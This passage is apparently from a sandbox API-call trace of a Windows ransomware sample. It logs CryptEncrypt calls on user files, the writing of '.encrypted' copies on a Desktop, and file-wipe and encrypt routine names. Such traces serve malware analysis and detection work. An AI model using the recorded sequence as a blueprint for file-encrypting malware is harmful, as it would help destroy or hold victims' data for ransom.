wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0023.321] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.321] CryptDestroyHash (hHash=0xe8f4062800) returned 1 [0023.321] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.321] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.321] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.321] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.321] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.321] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.321] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0023.321] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.322] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.322] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.322] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0023.322] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\osTre2ekexRLOM6.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\ostre2ekexrlom6.encrypted.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0023.322] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.322] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.322] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.322] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.324] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0023.324] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x31bf, lpOverlapped=0x0) returned 1 [0023.325] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0023.326] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.326] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.326] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.326] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0023.327] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.327] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.327] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0023.327] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.327] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0023.327] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.327] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.328] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.328] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0023.328] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0023.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0xe8f417b180, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0023.329] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptGetKeyParam") returned 0x7ffe2a5cb750 [0023.329] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064ad0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064ad0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0023.330] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.330] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.330] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.330] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.330] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.330] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.330] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.330] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.330] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.330] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.330] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.330] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.330] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.330] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.330] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.330] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.330] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.330] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.330] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.331] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.331] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.331] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x31bf, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x31c0) returned 1 [0023.331] CharLowerBuffW (in: lpsz="byte[12737]", cchLength=0xb | out: lpsz="byte[12737]") returned 0xb [0023.331] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.331] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.331] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41c09d0*, pdwDataLen=0xe8f3dfdf68*=0x31bf, dwBufLen=0x31c0 | out: pbData=0xe8f41c09d0*, pdwDataLen=0xe8f3dfdf68*=0x31c0) returned 1 [0023.331] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.331] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.331] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.332] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0023.332] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.332] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.332] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0023.332] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.332] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.332] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.332] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.332] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.332] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.367] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.367] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.367] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.367] CryptReleaseContext (hProv=0xe8f40633d0, dwFlags=0x0) returned 1 [0023.367] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.369] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0023.369] CharLowerBuffW (in: lpsz="byte[12735]", cchLength=0xb | out: lpsz="byte[12735]") returned 0xb [0023.369] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0023.369] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0023.369] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0023.369] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0023.369] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0023.369] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.369] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0023.369] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.375] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.376] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0023.376] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=1837) returned 1 [0023.376] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.376] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0023.376] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0023.376] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x72d, lpOverlapped=0x0) returned 1 [0023.376] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0023.376] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x72d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.376] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=1837) returned 1 [0023.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\osTre2ekexRLOM6.encrypted.jpg\r\n", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0023.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\osTre2ekexRLOM6.encrypted.jpg\r\n", cchWideChar=61, lpMultiByteStr=0xe8f40514a0, cbMultiByte=61, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\osTre2ekexRLOM6.encrypted.jpg\r\n", lpUsedDefaultChar=0x0) returned 61 [0023.376] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4051040*, nNumberOfBytesToWrite=0x3c, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4051040*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x3c, lpOverlapped=0x0) returned 1 [0023.376] CloseHandle (hObject=0x1fc) returned 1 [0023.378] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.378] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.379] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.379] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.379] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.379] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0023.379] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.380] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0023.380] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0023.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0023.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178500, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0023.380] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0023.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178500, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0023.381] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0023.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\q768hX7.swf", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0023.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\q768hX7.swf", cchWideChar=41, lpMultiByteStr=0xe8f404ba10, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\q768hX7.swf", lpUsedDefaultChar=0x0) returned 41 [0023.382] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\q768hX7.swf" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\q768hx7.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0023.382] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=41, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0023.382] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=41, lpWideCharStr=0xe8f4069a70, cchWideChar=41 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\q768hX7.swf") returned 41 [0023.382] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0023.383] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.383] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.383] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0023.383] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0023.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178720, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0023.383] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0023.384] CloseHandle (hObject=0x1fc) returned 1 [0023.384] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0023.384] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.384] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.384] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0023.384] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.384] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0023.384] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0023.384] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.384] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.384] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.384] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.384] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.384] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.384] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0023.384] CharUpperBuffW (in: 